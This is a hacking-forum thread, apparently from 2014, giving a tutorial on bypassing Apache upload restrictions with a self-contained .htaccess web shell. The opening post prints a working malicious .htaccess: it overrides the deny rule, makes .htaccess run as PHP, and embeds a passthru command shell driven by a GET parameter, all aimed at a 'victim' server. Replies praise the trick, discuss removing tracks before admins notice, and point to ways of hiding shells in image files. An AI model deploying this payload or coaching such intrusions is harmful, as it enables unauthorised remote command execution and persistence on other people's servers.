

Forum:[Hack Forums](#)

Thread: [\[TUT\] Bypassing .htaccess Restrictions With Self Contained .htaccess Shells](#)

sp3ctrum - March 24, 2014, 2:19 am

[0x01] Intro:

Sup HF, today I will be discussing a little old trick that helped me accomplish helping another member with getting a shell up on a server. I'm sure many of you have heard of using .htaccess as a backdoor, why this may be useful in some cases we can extend this further than just a backdoor. Say we cant upload php files to our victim (implying that the back-end supports php) or for say SetHandler or FilesMatch is being used and our php files that we successfully uploaded are not being executed. Well CGI shell ftw? Meh what if that doesn't work. We can fall back on diverting the default apache .htaccess access restrictions from within a custom .htaccess file being treated as a dynamic content script and accessed through a url. :3 Possible? Yes quite possible due to apache processing apache config directives before our custom .htaccess file is processed via a web request. Let us remember though that in-order for this to occur we need to comment out our payload (shell, etc..) at the start so apache doesn't interpret it and carry on with ignoring directives.

[0x02] The Attack:

Okay so lets say we just gained access to either an upload form or admin panel, etc.. and you begin to upload your shell (test.php) After uploading we see that our file was indeed uploaded but failed to execute due to restrictions set in the default .htaccess file. Could be the php engine off, FilesMatch, whatever, but for our lab we are just using a simple Files regex. Shown below.

[*] What Next?

Okay so props to the admin for at least going that far and not being a total idiot, but we can so easily bypass this in many circumstances. Next we are going to try and divert the default .htaccess and upload our custom .htaccess with malicious code between comments to the server. Here is the example im using, yes this isn't stealthy at all but for those who get php you can amp this little shell up a bit and get rid of the GET request and such. Next upload as ".htaccess"

```
Code <Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
```

AddType application/x-httpd-php .htaccess

```
# <?php echo "";echo"";passthru($_GET['cmd'])." 2>&1"); ?>#
```

[*] Code Explanation:

The first part of the code between the <Files> tags simply just Overrides the default deny rule and makes the .htaccess file accessible over a URL. The line after makes the file interpreted as a php file. And of course the last line between the comments is our php code for our shell.

[*] RCE Goodness:

Okay so after uploading we need to see if our bypass was a success. Type in the URL of where your .htaccess file was uploaded and call ?cmd= with your command after. Shown below also.

SUCCESS!!

[0x03] Conclusion:

Now we have the right to run commands on the server, do as you please. Hope some members enjoyed this neat little trick just as much as I do. Thanks for viewing, and for more fun with .htaccess shells, wireghoul has a very nice project started with tons of .htaccess shells that just abuse mods everywhere:3

HTSHELLS PROJECT: <https://github.com/wireghoul/htshells>

Regards,Klimax

Reminance - March 24, 2014, 1:31 pm

Wow, havent thought about this.

Good job.

jamie45 - March 24, 2014, 2:03 pm

Neat trick. Thanks for the tutorial, appreciated

RRRoooRRR - March 24, 2014, 3:25 pm

This is a good trick but if they look at the .htaccess file, they are going to see something out of the ordinary, unless they dismiss it as something that was there before.

-Chosen-

sp3ctrum - March 24, 2014, 3:42 pm

Thanks for the feedback Reminance & jamie45.

(Mar 24, 2014 03:25 PM)-Chosen- Wrote: [\[CITE\]](#) This is a good trick but if they look at the .htaccess file, they are going to see something out of the ordinary, unless they dismiss it as something that was there before.

-Chosen-

True, lets just hope everyone can get their own shell up in a new directory and remove their tracks before any admin has a chance to review the htaccess file.

SIM-1241186 - March 24, 2014, 4:13 pm

Excellent share. I didn't include this in my shell uploading tutorial which extensively covers many methods. So this is a nice addition to the forum. Good work ?

133720 - March 24, 2014, 9:41 pm

Nice Sharing bro.

I read it get little knowledge from you.

sp3ctrum - March 25, 2014, 11:51 am

Thanks for the positive feedback guys.

@hackforumspang: Your welcome to reference my tutorial in your thread if you want :3

KevinMitnickK1 - March 25, 2014, 3:13 pm

Thank youKlimax
i havent thought about this
v.good job

Toasties - March 25, 2014, 5:49 pm

Thank you for you very informative post. Learnt something new, cheers.

Th3PonyWizard - March 25, 2014, 10:39 pm

Wait, are you sp3c? Pls tell me it's you >_>

Zabuza? - March 25, 2014, 11:45 pm

Very interesting tutorial. Thank you.

ayushanand - March 26, 2014, 7:37 am

NICE TUTORIAL
THANK YOU FOR THIS OUTSTANDING TUTORIAL ...
KEEP POSTING FOR US .

sp3ctrum - March 26, 2014, 9:11 am

(Mar 25, 2014 10:39 PM)Th3PonyWizard Wrote: [\[CITE\]](#) Wait, are you sp3c? Pls tell me it's you >_>
Yes Pony it is I :3 Been a while my friend </3

Th3PonyWizard - March 26, 2014, 9:55 am

(Mar 26, 2014 09:11 AM)_Klimax_ Wrote: [\[CITE\]](#) Yes Pony it is I :3 Been a while my friend </3Holy fuck man, you're old. How have you been? <3
Heard some bad shit over what happened with Digi7al. I'll drag you over Pernicious asap

sp3ctrum - March 26, 2014, 10:05 am

(Mar 26, 2014 09:55 AM)Th3PonyWizard Wrote: [\[CITE\]](#) Holy fuck man, you're old. How have you been? <3
Heard some bad shit over what happened with Digi7al. I'll drag you over Pernicious asap
I have been quite good, and yes the Digi7al thing, will have to discuss that with you somewhere. &
Thanks I applied for Pernicious but I guess no one has gotten around to the posts on the recruitment thread. Whats your skype, ill add you so we can catch up!

vkinfosec.consultant - September 11, 2014, 11:32 am

Well, that was really helpful man...keep up the good work...

Well, that was really helpful man...keep up the good work...I want to ask you a question...Can u please name any tool or any process to Hide a PHP shell code inside a Image file such as jpg,gif or png..it will be really helpful for me..thanX in AdvanCe

sp3ctrum - September 11, 2014, 11:41 am

(Sep 11, 2014 11:32 AM)vkinfosec.consultant Wrote: [\[CITE\]](#) Well, that was really helpful man...keep up the good work...

Well, that was really helpful man...keep up the good work...I want to ask you a question...Can u please name any tool or any process to Hide a PHP shell code inside a Image file such as jpg,gif or png..it will be really helpful for me..thanX in AdvanCe

Well thanks man, bit off topic as your going into Stegonography, but you can do this via image EXIF headers. Ill link you a simple write up and you can go from there with google.

<http://blog.spiderlabs.com/2013/10/hiding-webshell-backdoor-code-in-image-files.html>

vkinfosec.consultant - September 19, 2014, 2:57 am

Thanks man..will have a look at it..but if there is a server side filtration implemented, can we bypass it using any technique ??

D4T4B4S3 - September 22, 2014, 1:23 pm

Really, really nice tutorial bro. Thanks for this alot! ?

Kuky - September 22, 2014, 1:39 pm

this tutorial made me moist. thanks for the share

sp3ctrum - September 22, 2014, 1:43 pm

No problem guys, thanks for the feedback!

aroofshaikh - February 21, 2015, 2:12 am

I tried your method but in my case, the .htaccess file is getting downloaded in my browser..
Please help

domondon1 - February 23, 2015, 7:44 pm

wow, is this really working or this is working only on localhost?

hacker625 - February 28, 2015, 7:59 am

How can we edit the .htaccess file without not shelling on the server.? do you mean upload .htaccess again?

Please answer to me. Thanks.